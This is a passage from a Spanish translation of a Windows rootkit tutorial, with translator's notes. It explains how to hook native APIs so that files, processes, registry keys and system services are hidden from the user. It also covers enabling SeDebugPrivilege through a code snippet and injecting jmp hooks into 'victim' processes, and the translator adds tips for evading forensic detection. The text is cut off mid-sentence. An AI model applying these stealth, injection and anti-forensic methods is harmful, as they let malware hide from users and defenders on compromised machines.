(NextEntryOffset del primer nodo).&lt;br /&gt;El ultimo nodo tiene su campo NextEntryOffset puesto a cero.&lt;br /&gt;&lt;br /&gt;       FileName es el nombre completo del fichero.&lt;br /&gt;       FileNameLength es la longitud del nombre.&lt;br /&gt;&lt;br /&gt; Si queremos ocultar un fichero, debemos tener en cuenta estos&lt;br /&gt;cuatro tipos y para cada registro devuelto comparamos su nombre&lt;br /&gt;con el que queremos ocultar. Si queremos ocultar el primer registro tenemos&lt;br /&gt;que mover las estructuras siguientes al lugar de la primera. Esto&lt;br /&gt;causara la sobreescritura del primer registro. Si queremos ocultar&lt;br /&gt;otro registro, cambiamos el valor de NextEntryOffset del registro que&lt;br /&gt;le precede.&lt;br /&gt;&lt;br /&gt;(Nota del traductor:&lt;br /&gt;Aqui hay 2 posibilidades:&lt;br /&gt; 1)Mover solamente el segundo registro&lt;br /&gt; 2)Mover todos los registros siguientes&lt;br /&gt;La 1º es algo mas rapida y tambien mas facil, la 2º es mejor :).&lt;br /&gt;En la 1º moveriamos el segundo registro sobre el primero, sobreescribiendolo,&lt;br /&gt;y cambiamos el NextEntryOffset de este registro que acabamos de escribr&lt;br /&gt;al valor&lt;br /&gt;NextEntryOffset nuevo=NextEntryOffset del 1º registro + NextEntryOffset del 2º&lt;br /&gt;pero esto tiene un problema: si a alguien le da por leer esta zona de memoria&lt;br /&gt;vera que hay gato encerrado, detras del primer registro encontraria una&lt;br /&gt;copia del mismo registro,y este no estaria apuntado por el anterior. Un poco&lt;br /&gt;de buena vista bastara para detectarnos! En vez de eso podemos recurrir a la&lt;br /&gt;forma 2. Esta forma consiste en sobreescribir ese registro fantasma con los&lt;br /&gt;regitros siguientes, es decir desplazar todos los registros siguientes hacia&lt;br /&gt;el primera registro, de manera que todos los registros estan encadenados de&lt;br /&gt;forma contigua, no hay en memoria una zona desapuntada ni una copia de ningun&lt;br /&gt;otro registro. bueno, ahora si estas entendiendo esto seguramente no estaras&lt;br /&gt;de acuerdo en todo, porque en realidad no es del todo cierto: si que hay una&lt;br /&gt;copia de algun registro. ¿De cual? Pues del ultimo no? En este momento todo&lt;br /&gt;funcionaria bien, pero podria seguir siendo detectable de manera parecida a&lt;br /&gt;la anterior, aunque mas difícilmente, pero se puede mejorar,&lt;br /&gt;qué se os ocurre hacer?  lo logico seria sobreescribirlo con los datos que&lt;br /&gt;hubiese antes tras el ultimo registro, pues vamos alla. ponemos el tamaño&lt;br /&gt;del ultimo registro fantasma a NULL. Ahora la detección esta mucho mas&lt;br /&gt;difícil, pero de nuevo no es perfecta! Existe una variable de salida de la&lt;br /&gt;función con el numero de bytes escritos, entonces un avispado forense podria&lt;br /&gt;comprobar esto y detectarnos de nuevo :/ . La solución aqui consiste en hacer&lt;br /&gt;una nueva llamada a la función pasandole como puntero del buffer la dirección&lt;br /&gt;justo despues del último registro. Ahora la variable con el número de bytes&lt;br /&gt;escritos contendrá el numero de bytes escritos en esta ocación. Pero&lt;br /&gt;seguiremos haciendo esta llamada hasta que en una de ella el resultado sea&lt;br /&gt;"espacio insuficiente", entonces la variable de bytes escritos ya no puede&lt;br /&gt;comprobarse ,jeje :P &lt;br /&gt;Para los curiosos, los posibles valores de retorno de la funcion, de tipo&lt;br /&gt;NTSYSAPI NTSTATUS NTAPI estan listados en el ntstatus.h )&lt;br /&gt;&lt;br /&gt;Si queremos ocultar el ultimo registro, el nuevo valor de NextEntryOffset&lt;br /&gt;seria cero, en otro caso el valor seria la suma del NextEntryOffset del&lt;br /&gt;registro precedente y del NextEntryOffset del registro a esconder.&lt;br /&gt;En este caso deberiamos cambiar el valor de Unknown del registro&lt;br /&gt;previo, que es probablemente un indice para la busqueda siguiente.&lt;br /&gt;El valor de Unknown del registro previo debe contener el valor del&lt;br /&gt;Unknown del registro a ocultar.&lt;br /&gt; Si no se encuentran mas ficheros que sí queramos mostrar, devolveremos&lt;br /&gt;STATUS_NO_SUCH_FILE.&lt;br /&gt;&lt;br /&gt; #define STATUS_NO_SUCH_FILE 0xC000000F&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 3.2 NtVdmControl ]=======================================================&lt;br /&gt;&lt;br /&gt; Por razones desconocidas, la emulacion de DOS NTVDM puede obtener&lt;br /&gt;tambien una lista de ficheros con NtVdmContol.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtVdmControl(       &lt;br /&gt;  IN ULONG ControlCode,&lt;br /&gt;  IN PVOID ControlData&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; ControlCode especifica la subfuncion que se aplica a los datos&lt;br /&gt;del buffer ControlData. Si ControlCode es VdmDirectoryFile, esta funcion&lt;br /&gt;hace lo mismo que NtQueryDirectoryFile con FileInformationClass puesto&lt;br /&gt;a FileBothDirectoryInformation.&lt;br /&gt;&lt;br /&gt; #define VdmDirectoryFile 6&lt;br /&gt;&lt;br /&gt; Entonces ControlData es usado como FileInformation. La unica diferencia&lt;br /&gt;aqui es que no sabemos la longitud de este buffer. Asique tenemos que&lt;br /&gt;contarlo manualmente. Tenemos que sumar NextEntryOffset de todos los registros&lt;br /&gt;y FileNameLength del ultimo registro y 0x5E como longitud del ultimo registro&lt;br /&gt;excluyendo el nombre del fichero. Los metodos de ocultacion son los mismos&lt;br /&gt;que en el caso de NtQueryDirectoryFile.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 4. Procesos ]============================================================&lt;br /&gt;&lt;br /&gt; Cierta informacion esta disponible usando NtQuerySystemInformation.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtQuerySystemInformation(&lt;br /&gt;  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,&lt;br /&gt;  IN OUT PVOID SystemInformation,&lt;br /&gt;  IN ULONG SystemInformationLength,&lt;br /&gt;  OUT PULONG ReturnLength OPTIONAL&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; SystemInformationClass especifica el tipo de informacion que queremos&lt;br /&gt;  obtener.&lt;br /&gt; SystemInformation es un puntero al buffer de salida.&lt;br /&gt; SystemInformationLength es la longitud de este buffer.&lt;br /&gt; ReturnLength es el numero de bytes escritos.&lt;br /&gt; &lt;br /&gt; Para la enumeracion de procesos en ejecucion pasamos&lt;br /&gt;como SystemInformationClass la constante SystemProcessesAndThreadsInformation&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; #define SystemInformationClass 5&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Estructura devuelta en el buffer SystemInformation:&lt;br /&gt;&lt;br /&gt; typedef struct _SYSTEM_PROCESSES {&lt;br /&gt;  ULONG NextEntryDelta;&lt;br /&gt;  ULONG ThreadCount;&lt;br /&gt;  ULONG Reserved1[6];&lt;br /&gt;  LARGE_INTEGER CreateTime;&lt;br /&gt;  LARGE_INTEGER UserTime;&lt;br /&gt;  LARGE_INTEGER KernelTime;&lt;br /&gt;  UNICODE_STRING ProcessName;&lt;br /&gt;  KPRIORITY BasePriority;&lt;br /&gt;  ULONG ProcessId;&lt;br /&gt;  ULONG InheritedFromProcessId;&lt;br /&gt;  ULONG HandleCount;&lt;br /&gt;  ULONG Reserved2[2];&lt;br /&gt;  VM_COUNTERS VmCounters;&lt;br /&gt;  IO_COUNTERS IoCounters;  // Windows 2000 solo&lt;br /&gt;  SYSTEM_THREADS Threads[1];&lt;br /&gt; } SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Ocultar procesos es igual que en el caso de ocultar ficheros.&lt;br /&gt;Tenemos que cambiar NextEntryDelta del registro previo a aquel que queremos&lt;br /&gt;ocultar. Usualmente no querremos cambiar nunca el primero registro de todos,&lt;br /&gt;pues este es el proceso Idle (Proceso inactivo de sistema)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 5. Registro ]============================================================&lt;br /&gt;&lt;br /&gt; El registro de windows es bastante grande en cuanto a la estructura&lt;br /&gt;de arbol, conteniendo dos tipos importantes de registros para nosotros que&lt;br /&gt;podriamos querer ocultar. El primer tipo son las claves de registro, y el&lt;br /&gt;segundo son los valores. La ocultacion del registro no es tan trivial como&lt;br /&gt;la ocultacion de ficheros o procesos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 5.1 NtEnumerateKey ]=====================================================&lt;br /&gt;&lt;br /&gt; Debido a su estructura no nos es posible obtener una lista de todas&lt;br /&gt;las claves en una parte determinada del registro. Tan solo podemos obtener&lt;br /&gt;informacion sobre una clave especificada por su indice en algun lugar del&lt;br /&gt;registro. La funcion que provee de esta informacion es NtEnumerateKey.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtEnumerateKey(&lt;br /&gt;  IN HANDLE KeyHandle,&lt;br /&gt;  IN ULONG Index,&lt;br /&gt;  IN KEY_INFORMATION_CLASS KeyInformationClass,&lt;br /&gt;  OUT PVOID KeyInformation,&lt;br /&gt;  IN ULONG KeyInformationLength,&lt;br /&gt;  OUT PULONG ResultLength&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; KeyHandle es un handle a una clave, y queremos solicitar la informacion&lt;br /&gt;de una subclave especificada por Index. El tipo de la informacion de salida&lt;br /&gt;se especifica mediante KeyInformationClass. Los datos se escriben en el&lt;br /&gt;buffer de salida KeyInformation, donde KeyInformationLength es el tamaño.&lt;br /&gt;ResultLength es el numero de bytes escritos.&lt;br /&gt;&lt;br /&gt; Lo mas importante a tener en cuenta es que si escondemos una clave,&lt;br /&gt;los indices de las claves siguientes serian todos desplazados. Entonces para&lt;br /&gt;obtener informacion de una clave con un indice mayor pediremos informacion&lt;br /&gt;sobre la clave con un indice menor, por tanto tenemos que contar cuantos&lt;br /&gt;registros hay antes de ocultar alguno y entonces nosotros devolvemos el&lt;br /&gt;correcto.&lt;br /&gt; &lt;br /&gt; Echad un vistazo a este ejemplo. Pongamos que tenemos tres claves:&lt;br /&gt;A, B, C, D, E, y F en alguna parte del registro. EL indice empieza en cero, por&lt;br /&gt;lo que el indice 4 corresponde a la clave E. Ahora si queremos esconder B y&lt;br /&gt;la aplicacion enganchada llama a NtEnumerateKey con Index a 4, nosotros&lt;br /&gt;deberiamos devolver informacion sobre F, porque el indice se ha desplazado.&lt;br /&gt;El problema es que no sabemos que desplazamiento ha habido. Y si no nos&lt;br /&gt;preocupamos de los desplazamientos y devolvemos E en lugar de F cuando se pida&lt;br /&gt;la clave con Index 4, entonces no deberiamos devolver nada cuando se pida&lt;br /&gt;la clave con Index 1, o bien devolveriamos C. Ambos casos son erroneos. Esto&lt;br /&gt;es por lo que tenemos que que tener cuidado con los desplazamientos.&lt;br /&gt;&lt;br /&gt; Ahora si contamos el desplazamiento mediante rellamadas a la&lt;br /&gt;funcion por cada indice de 0 a Index, entonces habria veces que deberiamos&lt;br /&gt;esperar años ( en un procesador de 1GHz tardaria 10 segundos con el registro&lt;br /&gt;estandar, lo cual es demasiado). Asique tenemos que resolverlo por otro metodo&lt;br /&gt;mas sofisticado.&lt;br /&gt;&lt;br /&gt; Sabemos que las claves (a excepcion de las referencias) estan ordenadas&lt;br /&gt;alfabeticamente. Si pasamos de las referencias (que no las queremos esconder)&lt;br /&gt;podemos contar el desplazamiento por el siguiente metodo. Ordenaremos&lt;br /&gt;alfabeticamente nuestra lista de nombres de claves que queremos ocultar&lt;br /&gt;(con RtlCompareUnicodeString por ejemplo), entonces cuando la aplicacion&lt;br /&gt;llame a NtEnumerateKey, no la rellamaremos con los argumentos inalterados&lt;br /&gt;sino que descubriremos el nombre del registro especificado por Index.&lt;br /&gt;&lt;br /&gt; NTSTATUS RtlCompareUnicodeString(      &lt;br /&gt;  IN PUNICODE_STRING String1,&lt;br /&gt;  IN PUNICODE_STRING String2,&lt;br /&gt;  IN BOOLEAN  CaseInSensitive &lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; String1 y String2 son las cadenas a comparar, CaseInSensitive&lt;br /&gt;es True queremos comparar con distincion de mayuculas y minusculas.&lt;br /&gt; El resultado de la funcion describe la relacion entre String1&lt;br /&gt;y String2:&lt;br /&gt;&lt;br /&gt;  resultado &gt; 0: String1 &gt; String2&lt;br /&gt;  resultado = 0: String1 = String2&lt;br /&gt;  resultado &lt; 0: String1 &lt; String2&lt;br /&gt;&lt;br /&gt;Ahora tenemos que encontrar un punto fronterizo en la lista.&lt;br /&gt;Compararemos alfabeticamente el nombre de la clave especificada por&lt;br /&gt;Index con los nombres de nuestra lista.&lt;br /&gt;El punto fronterizo seria el ultimo nombre menor de nuestra lista (el siguiente&lt;br /&gt;seria el mismo nombre). Sabemos que el desplazamiento es como mucho el numero&lt;br /&gt;de nombres que hay antes del punto fronterizo en nuestra lista. Pero no todos&lt;br /&gt;los items de nuestra lista tiene que ser una clave existente en la parte&lt;br /&gt;del registro en la que estamos. Asique pedimos para todos los items de nuestra&lt;br /&gt;lista hasta el punto frontera si estos estan en esta parte del registro.&lt;br /&gt;Esto se hace con NtOpenKey.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; NTSTATUS NtOpenKey(&lt;br /&gt;  OUT PHANDLE KeyHandle,&lt;br /&gt;  IN ACCESS_MASK DesiredAccess,&lt;br /&gt;  IN POBJECT_ATTRIBUTES ObjectAttributes&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; KeyHandle es un handle de una superclave. Usaremos el valor de&lt;br /&gt;NtEnumerateKey aqui. DesiredAccess son los derechos de acceso. El valor&lt;br /&gt;correcto es KEY_ENUMERATE_SUB_KEYS. ObjectAttributes describe la subclave&lt;br /&gt;que queremos abrir (incluyendo su nombre).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; #define KEY_ENUMERATE_SUB_KEYS 8&lt;br /&gt;&lt;br /&gt; si el resultado de NtOpenKey es 0 la apertura de clave se realizo con&lt;br /&gt;exito, lo que significa que esta clave de nuestra lista existe. La clave&lt;br /&gt;abierta se cierra con NtClose.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtClose(&lt;br /&gt;  IN HANDLE Handle&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; Para cada llamada a NtEnumerateKey contaremos el desplazamiento&lt;br /&gt;como el numero de claves de nuestra lista que existen en la parte dada&lt;br /&gt;del registro. Entonces añadiremos este desplazamiento al argumento Index&lt;br /&gt;y finalmente llamaremos a la NtEnumerateKey original.&lt;br /&gt; Para obtener del nombre de la clave especificada por Index usaremos&lt;br /&gt;KeyBasicInformation como KeyInformationClass.&lt;br /&gt;&lt;br /&gt; #define KeyBasicInformation 0&lt;br /&gt;&lt;br /&gt; NtEnumerateKey devuelve esta estructura en KeyInformation:&lt;br /&gt;&lt;br /&gt; typedef struct _KEY_BASIC_INFORMATION {&lt;br /&gt;  LARGE_INTEGER LastWriteTime;&lt;br /&gt;  ULONG TitleIndex;&lt;br /&gt;  ULONG NameLength;&lt;br /&gt;  WCHAR Name[1];           &lt;br /&gt; } KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;&lt;br /&gt;&lt;br /&gt; Lo único que necesitamos aqui es Name y NameLength. Si no hay&lt;br /&gt;entrada para el Index desplazado devolveremos error&lt;br /&gt;STATUS_EA_LIST_INCONSISTENT.&lt;br /&gt;&lt;br /&gt; #define STATUS_EA_LIST_INCONSISTENT 0x80000014&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 5.2 NtEnumerateValueKey ]================================================&lt;br /&gt;&lt;br /&gt; Los valores de registro no estan ordenados alfabeticamente.&lt;br /&gt;Afortunadamente el numero de valores en una clave es bastante pequeño y&lt;br /&gt;podemos usar el metodo de rellamada para los desplazamientos&lt;br /&gt;&lt;br /&gt; NTSTATUS NtEnumerateValueKey(&lt;br /&gt;  IN HANDLE KeyHandle,&lt;br /&gt;  IN ULONG Index,&lt;br /&gt;  IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,&lt;br /&gt;  OUT PVOID KeyValueInformation,&lt;br /&gt;  IN ULONG KeyValueInformationLength,&lt;br /&gt;  OUT PULONG ResultLength&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; KeyHandle es de nuevo un handle de una superclave. Index es un&lt;br /&gt;indice de la lista de valores en la clave dada. KeyValueInformationClass&lt;br /&gt;describe un tipo de informacion que sera almacenado en el buffer&lt;br /&gt;KeyValueInformation, que es ocupa KeyValueInformationLength bytes. El numero&lt;br /&gt;de bytes escritos se develve en ResultLength.&lt;br /&gt;&lt;br /&gt; De nuevo podemos contar el desplazamiento pero segun el numero de&lt;br /&gt;valores en una clave podemos rellamar esta funcion para todos los indices&lt;br /&gt;desde 0 a Index. El numero del valor puede obtenerse cuando&lt;br /&gt;KeyValueInformationClass es puesto a KeyValueBasicInformation.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; #define KeyValueBasicInformation 0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Entonces obtendremos la siguiente estructura en el buffer&lt;br /&gt;KeyValueInformation :&lt;br /&gt;&lt;br /&gt; typedef struct _KEY_VALUE_BASIC_INFORMATION {&lt;br /&gt;  ULONG TitleIndex;&lt;br /&gt;  ULONG Type;&lt;br /&gt;  ULONG NameLength;&lt;br /&gt;  WCHAR Name[1];&lt;br /&gt; } KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION;&lt;br /&gt;&lt;br /&gt; De nuevo lo que nos interesa solo es Name y Namelength.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Si no hay entrada para el Index desplazado devolveremos&lt;br /&gt;STATUS_NO_MORE_ENTRIES.&lt;br /&gt;&lt;br /&gt; #define STATUS_NO_MORE_ENTRIES 0x8000001A&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 6. Servicios de sistema y drivers ]======================================&lt;br /&gt;&lt;br /&gt; Los servicios de sistema y drivers se enumeran mediante&lt;br /&gt;cuatro funciones API, independientes unas de otras. La conexion entre ellas&lt;br /&gt;es diferente en cada version de Windows. Por eso es por lo que tenemos&lt;br /&gt;que usar ganchos con las cuatro funciones.&lt;br /&gt;&lt;br /&gt; BOOL EnumServicesStatusA(&lt;br /&gt;  SC_HANDLE hSCManager,&lt;br /&gt;  DWORD dwServiceType,&lt;br /&gt;  DWORD dwServiceState,&lt;br /&gt;  LPENUM_SERVICE_STATUS lpServices,&lt;br /&gt;  DWORD cbBufSize,&lt;br /&gt;  LPDWORD pcbBytesNeeded,&lt;br /&gt;  LPDWORD lpServicesReturned,&lt;br /&gt;  LPDWORD lpResumeHandle&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; BOOL EnumServiceGroupW(&lt;br /&gt;  SC_HANDLE hSCManager,&lt;br /&gt;  DWORD dwServiceType,&lt;br /&gt;  DWORD dwServiceState,&lt;br /&gt;  LPBYTE lpServices,&lt;br /&gt;  DWORD cbBufSize,&lt;br /&gt;  LPDWORD pcbBytesNeeded,&lt;br /&gt;  LPDWORD lpServicesReturned,&lt;br /&gt;  LPDWORD lpResumeHandle,&lt;br /&gt;  DWORD dwUnknown&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; BOOL EnumServicesStatusExA(&lt;br /&gt;  SC_HANDLE hSCManager,&lt;br /&gt;  SC_ENUM_TYPE InfoLevel,&lt;br /&gt;  DWORD dwServiceType,&lt;br /&gt;  DWORD dwServiceState,&lt;br /&gt;  LPBYTE lpServices,&lt;br /&gt;  DWORD cbBufSize,&lt;br /&gt;  LPDWORD pcbBytesNeeded,&lt;br /&gt;  LPDWORD lpServicesReturned,&lt;br /&gt;  LPDWORD lpResumeHandle,&lt;br /&gt;  LPCTSTR pszGroupName&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; BOOL EnumServicesStatusExW(&lt;br /&gt;  SC_HANDLE hSCManager,&lt;br /&gt;  SC_ENUM_TYPE InfoLevel,&lt;br /&gt;  DWORD dwServiceType,&lt;br /&gt;  DWORD dwServiceState,&lt;br /&gt;  LPBYTE lpServices,&lt;br /&gt;  DWORD cbBufSize,&lt;br /&gt;  LPDWORD pcbBytesNeeded,&lt;br /&gt;  LPDWORD lpServicesReturned,&lt;br /&gt;  LPDWORD lpResumeHandle,&lt;br /&gt;  LPCTSTR pszGroupName&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Aqui lo importante es lpServices, que apunta al buffer donde se va a&lt;br /&gt;almacenar la lista de servicios. Y tambien nos importa lpServicesReturned&lt;br /&gt;que indica el numero de registros que se han creado en el buffer.&lt;br /&gt;La estructura de datos que sera grabada al buffer de salida depende de las&lt;br /&gt;funciones. Las funciones EnumServicesStatusA y EnumServicesGroupW devuelven&lt;br /&gt;una estructura del tipo:&lt;br /&gt;&lt;br /&gt; typedef struct _ENUM_SERVICE_STATUS {&lt;br /&gt;  LPTSTR lpServiceName;&lt;br /&gt;  LPTSTR lpDisplayName;&lt;br /&gt;  SERVICE_STATUS ServiceStatus;&lt;br /&gt; } ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;&lt;br /&gt;&lt;br /&gt; typedef struct _SERVICE_STATUS {&lt;br /&gt;  DWORD dwServiceType;&lt;br /&gt;  DWORD dwCurrentState;&lt;br /&gt;  DWORD dwControlsAccepted;&lt;br /&gt;  DWORD dwWin32ExitCode;&lt;br /&gt;  DWORD dwServiceSpecificExitCode;&lt;br /&gt;  DWORD dwCheckPoint;&lt;br /&gt;  DWORD dwWaitHint;&lt;br /&gt; } SERVICE_STATUS, *LPSERVICE_STATUS;&lt;br /&gt;&lt;br /&gt;y EnumServicesStatusExA y EnumServicesStatusExW otras como estas:&lt;br /&gt;&lt;br /&gt; typedef struct _ENUM_SERVICE_STATUS_PROCESS {&lt;br /&gt;  LPTSTR lpServiceName;&lt;br /&gt;  LPTSTR lpDisplayName;&lt;br /&gt;  SERVICE_STATUS_PROCESS ServiceStatusProcess;&lt;br /&gt; } ENUM_SERVICE_STATUS_PROCESS, *LPENUM_SERVICE_STATUS_PROCESS;&lt;br /&gt;&lt;br /&gt; typedef struct _SERVICE_STATUS_PROCESS {&lt;br /&gt;  DWORD dwServiceType;&lt;br /&gt;  DWORD dwCurrentState;&lt;br /&gt;  DWORD dwControlsAccepted;&lt;br /&gt;  DWORD dwWin32ExitCode;&lt;br /&gt;  DWORD dwServiceSpecificExitCode;&lt;br /&gt;  DWORD dwCheckPoint;&lt;br /&gt;  DWORD dwWaitHint;&lt;br /&gt;  DWORD dwProcessId;&lt;br /&gt;  DWORD dwServiceFlags;&lt;br /&gt; } SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Nada mas que nos interesa lpServiceName, que es el nombre del servicio&lt;br /&gt;de sistema. Los registros tienen tamaño estatico, asique ocultar uno es facil,&lt;br /&gt;solo hay que mover los registros siguientes hacia el que queremos ocultar,&lt;br /&gt;sobreescribiendolo. Tenemos que diferenciar entre el tamaño de&lt;br /&gt;SERVICE_STATUS y el de SERVICE_STATUS_PROCESS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 7. Expandiendo los ganchos ]=============================================&lt;br /&gt;&lt;br /&gt; Para conseguir el efecto deseado tenemos que meter los ganchos&lt;br /&gt;a todos los procesos en ejecucion, y tambien a los procesos nuevos que&lt;br /&gt;se creen despues. Los procesos nuevos deberian ser enganchados antes&lt;br /&gt;de que se ejecute su primera instruccion, de otra forma podria ver&lt;br /&gt;los objetos que hemos ocultado en ese lapso de tiempo antes de&lt;br /&gt;engancharlo.&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;=====[ 7.1 Privilegios ]========================================================&lt;br /&gt;&lt;br /&gt; Debes saber que lo primero que necesitamos es, como minimo, privilegios&lt;br /&gt;de administrador, para acceder a todos los procesos en ejecucion. La mejor&lt;br /&gt;posibilidad es ejecutar nuestro proceso como servicio de sistema, que es&lt;br /&gt;ejecutado como usuario SYSTEM en la maquina. Para instalar el servicio&lt;br /&gt;tambien necesitamos privilegios especiales. &lt;br /&gt;&lt;br /&gt; Tambien SeDebugPrivilege es muy util. Puede hacerse usando&lt;br /&gt;OpenProcessToken, LookupPrivilegeValue y AdjustTokenPrivileges.&lt;br /&gt;&lt;br /&gt; BOOL OpenProcessToken(&lt;br /&gt;  HANDLE ProcessHandle,&lt;br /&gt;  DWORD DesiredAccess,&lt;br /&gt;  PHANDLE TokenHandle&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; BOOL LookupPrivilegeValue(&lt;br /&gt;  LPCTSTR lpSystemName,&lt;br /&gt;  LPCTSTR lpName,&lt;br /&gt;  PLUID lpLuid&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; BOOL AdjustTokenPrivileges(&lt;br /&gt;  HANDLE TokenHandle,&lt;br /&gt;  BOOL DisableAllPrivileges,&lt;br /&gt;  PTOKEN_PRIVILEGES NewState,&lt;br /&gt;  DWORD BufferLength,&lt;br /&gt;  PTOKEN_PRIVILEGES PreviousState,&lt;br /&gt;  PDWORD ReturnLength&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; El codigo sera algo parecido a esto:&lt;br /&gt;&lt;br /&gt; #define SE_PRIVILEGE_ENABLED 0x0002&lt;br /&gt; #define TOKEN_QUERY  0x0008&lt;br /&gt; #define TOKEN_ADJUST_PRIVILEGES 0x0020&lt;br /&gt;&lt;br /&gt; HANDLE hToken;&lt;br /&gt; LUID DebugNameValue;&lt;br /&gt; TOKEN_PRIVILEGES Privileges;&lt;br /&gt; DWORD dwRet;&lt;br /&gt;&lt;br /&gt; OpenProcessToken(GetCurrentProcess(),&lt;br /&gt;    TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken);&lt;br /&gt; LookupPrivilegeValue(NULL,"SeDebugPrivilege",&amp;DebugNameValue);&lt;br /&gt; Privileges.PrivilegeCount=1;&lt;br /&gt; Privileges.Privileges[0].Luid=DebugNameValue;&lt;br /&gt; Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;&lt;br /&gt; AdjustTokenPrivileges(hToken,FALSE,&amp;Privileges,sizeof(Privileges),&lt;br /&gt;         NULL,&amp;amp;dwRet);&lt;br /&gt; CloseHandle(hToken);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 7.2 Gancho global ]======================================================&lt;br /&gt;&lt;br /&gt; La enumeracion de procesos es hecha por los metodos ya mencionados&lt;br /&gt;de la funcion NtQuerySystemInformation. Hay unos pocos procesos nativos&lt;br /&gt;en el sistema, con los que usaremos el metodo de gancheo de reescribir las&lt;br /&gt;primeras instrucciones de la funcion. Haremos lo mismo para para todos los&lt;br /&gt;procesos en ejecucion. Reservaremos una parte de memoria en el proceso&lt;br /&gt;victima donde escribiremos nuestro nuevo codigo para las funciones que queramos&lt;br /&gt;enganchar. Entonces cambiaremos los cinco primeros bytes de estas funciones&lt;br /&gt;con la instruccion jmp. El salto redirigira el flujo de ejecucion a nuestro&lt;br /&gt;codigo. Asique el jmp sera ejecutado inmediatamente despues de llamar a la&lt;br /&gt;funcion. EL como salvar las instrucciones ya fue descrito en el capitulo&lt;br /&gt;3.2.3. del documento "Hooking Windows API".&lt;br /&gt; Lo primero que tenemos que abrir es el proceso victima con&lt;br /&gt;NtOpenProcess y obtener su handle. Si no tenemos suficientes privilegios esto&lt;br /&gt;fallara.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtOpenProcess(&lt;br /&gt;  OUT PHANDLE ProcessHandle,&lt;br /&gt;  IN ACCESS_MASK DesiredAccess,&lt;br /&gt;  IN POBJECT_ATTRIBUTES ObjectAttributes,&lt;br /&gt;  IN PCLIENT_ID ClientId OPTIONAL&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; ProcessHandle es un puntero a un handle donde se va a almacenar el&lt;br /&gt;resultado. DesiredAccess debe ponerse al valor PROCESS_ALL_ACCESS. Pondremos&lt;br /&gt;el PID del proceso victima a UniqueProcess, en la estructura ClientId, y&lt;br /&gt;UniqueThread lo debemos poner a 0. El handle abierto siempre hay que&lt;br /&gt;cerrarlo con NtClose.&lt;br /&gt;&lt;br /&gt; #define PROCESS_ALL_ACCESS 0x001F0FFF&lt;br /&gt;&lt;br /&gt; Ahora vamos a reservar la parte de memoria que necesitamos para nuestro&lt;br /&gt;codigo. Para ello utilizamos NtAllocateVirtualMemory.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtAllocateVirtualMemory(&lt;br /&gt;  IN HANDLE ProcessHandle,&lt;br /&gt;  IN OUT PVOID *BaseAddress,&lt;br /&gt;  IN ULONG ZeroBits,&lt;br /&gt;  IN OUT PULONG AllocationSize,&lt;br /&gt;  IN ULONG AllocationType,&lt;br /&gt;  IN ULONG Protect&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt;(***Nota del traductor: En la version original de este documento, holy_father&lt;br /&gt;  escribe el segundo argumento como IN OUT PVOID BaseAddress,&lt;br /&gt;  sin embargo en la documentacion de la funcion aparece&lt;br /&gt;  IN OUT PVOID *BaseAddress, donde el asterisco indica&lt;br /&gt;  puntero doble, yo lo he puesto como aparece en la&lt;br /&gt;  documentacion)&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt; ProcessHandle es el obtenido con NtOpenProcess. BaseAddress es un&lt;br /&gt;puntero a otro puntero al comienzo de la zona que queremos reservar. Aqui&lt;br /&gt;se almacenara la direccion de la memoria reservada. El de entrada tambien&lt;br /&gt;puede ser cero ( en ese caso la direccion sera elegida por el sistema).&lt;br /&gt;AllocationSize es un puntero al numero de bytes que queremos reservar. Y de&lt;br /&gt;nuevo tambien es usado como valor de salida para el numero de bytes&lt;br /&gt;reservados. Es bueno poner AllocationType a MEM_TOP_DOWN junto con 